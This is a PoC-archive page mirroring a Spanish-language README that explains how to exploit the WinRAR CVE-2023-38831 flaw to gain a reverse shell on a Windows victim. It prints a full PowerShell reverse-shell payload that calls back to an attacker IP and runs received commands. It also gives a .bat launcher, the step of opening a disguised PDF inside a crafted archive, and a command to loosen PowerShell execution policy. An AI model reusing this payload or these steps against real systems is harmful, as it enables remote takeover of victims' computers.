目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%

CVE-2023-38831 PoC — WinRAR 安全漏洞

来源
关联漏洞
标题: WinRAR 安全漏洞 (CVE-2023-38831)
Description:WinRAR是一款文件压缩器。该产品支持RAR、ZIP等格式文件的压缩和解压等。 RARLabs WinRAR 6.23之前版本存在安全漏洞。攻击者利用该漏洞可以执行任意代码。
Description
Pasos necesarios para obtener una reverse shell explotando la vulnerabilidad de winrar CVE-2023-38831 en versiones anteriores a 6.23.
介绍
# OBTENCIÓN DE REVERSE SHELL EXPLOTANDO LA VULNERABILIDAD CVE-2023-38831 DE WINRAR

En este repositorio vamos a explotar la vulnerabilidad CVE-2023-38831 de winrar de tal forma que podamos obtener una reverse shell desde la máquina víctima Windows a la máquina atacante Kali Linux.

## PASOS PREVIOS

Descargamos el contenido de este repositorio:

![imagen](https://github.com/Maalfer/CVE-2023-38831_ReverseShell_Winrar-RCE/assets/96432001/76e5d05c-fc09-4c1c-ac30-7643de19f846)


A continuación, debemos de instalar las dependencias de Python necesarias para poder explotar esta vulnerabilidad con los siguientes comandos:

```
pip install rarce
```
![imagen](https://github.com/Maalfer/CVE-2023-38831_ReverseShell_Winrar-RCE/assets/96432001/7568907f-454b-42e8-a75d-71028a2bbd53)

## PREPARATIVOS

Vamos a ejecutar un código malicioso que nos proporcione una reverse shell, procedente de la web revshells.com (proporcionando la IP y puerto de atacante correspondiente):

https://www.revshells.com/

![imagen](https://github.com/Maalfer/CVE-2023-38831_ReverseShell/assets/96432001/293fc1a8-9284-44a1-b7b9-03942a56cded)

```
$LHOST = "192.168.0.36"; $LPORT = 443; $TCPClient = New-Object Net.Sockets.TCPClient($LHOST, $LPORT); $NetworkStream = $TCPClient.GetStream(); $StreamReader = New-Object IO.StreamReader($NetworkStream); $StreamWriter = New-Object IO.StreamWriter($NetworkStream); $StreamWriter.AutoFlush = $true; $Buffer = New-Object System.Byte[] 1024; while ($TCPClient.Connected) { while ($NetworkStream.DataAvailable) { $RawData = $NetworkStream.Read($Buffer, 0, $Buffer.Length); $Code = ([text.encoding]::UTF8).GetString($Buffer, 0, $RawData -1) }; if ($TCPClient.Connected -and $Code.Length -gt 1) { $Output = try { Invoke-Expression ($Code) 2>&1 } catch { $_ }; $StreamWriter.Write("$Output`n"); $Code = $null } }; $TCPClient.Close(); $NetworkStream.Close(); $StreamReader.Close(); $StreamWriter.Close()
```

Este código de powershell lo guardamos en un fichero .ps1 (será ejecutado posteriormente):

![imagen](https://github.com/Maalfer/CVE-2023-38831_ReverseShell/assets/96432001/c203c1fd-0cc2-436c-90a5-44b15bb18382)

Una vez obtenido el código en ps1 para obtener la reverse shell, creamos un fichero python que mediante el uso de la librería os se encargue de ejecutar el fichero .ps1:

![imagen](https://github.com/Maalfer/CVE-2023-38831_ReverseShell/assets/96432001/050814e6-e714-44cd-bd2e-18b3ec3c86a0)

Después, creamos un .bat con el siguiente código:

![imagen](https://github.com/Maalfer/CVE-2023-38831_ReverseShell/assets/96432001/5d79bcc3-a2a2-4cf8-9f1d-540e7e1977a2)

```@echo off

rem Ruta al ejecutable de Python
set PYTHON_EXECUTABLE=python.exe

rem Ruta al script de Python que deseas ejecutar
set PYTHON_SCRIPT=pwned.py

rem Ejecutar el script de Python
%PYTHON_EXECUTABLE% %PYTHON_SCRIPT%

rem Pausa para que puedas ver la salida antes de que se cierre la ventana
pause
```


## EXPLOTACIÓN

En este punto debemos de crear el winrar malicioso:

![imagen](https://github.com/Maalfer/CVE-2023-38831_ReverseShell/assets/96432001/c6d9d31d-0068-4b4f-bb86-7a85436d1f10)

Ejecutamos el archivo documento.pdf dentro del .rar:

![imagen](https://github.com/Maalfer/CVE-2023-38831_ReverseShell_Winrar-RCE/assets/96432001/92601051-7385-4e95-be85-4e8488dc855e)


![imagen](https://github.com/Maalfer/CVE-2023-38831_ReverseShell_Winrar-RCE/assets/96432001/61de11e3-dc4b-4096-a587-2ce3eda716a1)

Por último, si permanecemos en esucha con netcat desde una máquina atacante, habremos recibimos la reverse shell:

![imagen](https://github.com/Maalfer/CVE-2023-38831_ReverseShell/assets/96432001/1c63917f-9139-4199-bbb5-1733186b4625)

## SOLUCIÓN DE POSIBLES ERRORES:

En caso de no poder ejecutar comandos de powershell, es necesario habilitar la ejecución de scripts en nuestro sistema:

![imagen](https://github.com/Maalfer/CVE-2023-38831_ReverseShell/assets/96432001/67d424aa-952f-4eba-b3c8-367f26a8a0d7)

![imagen](https://github.com/Maalfer/CVE-2023-38831_ReverseShell/assets/96432001/4671816c-f06b-4027-bbca-04d9123259bd)

Lo habilitamos:

![imagen](https://github.com/Maalfer/CVE-2023-38831_ReverseShell/assets/96432001/bd045996-26c7-4c24-89f7-529b9c576c76)

Y ejecutamos el siguiente comando:

```Set-ExecutionPolicy RemoteSigned -Scope CurrentUser```




文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →